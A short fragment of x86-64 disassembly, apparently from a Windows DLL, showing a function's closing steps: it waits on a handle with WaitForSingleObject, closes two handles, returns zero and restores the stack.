lea eax, [rdi + 1]
jmp 0x18000f3ce
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret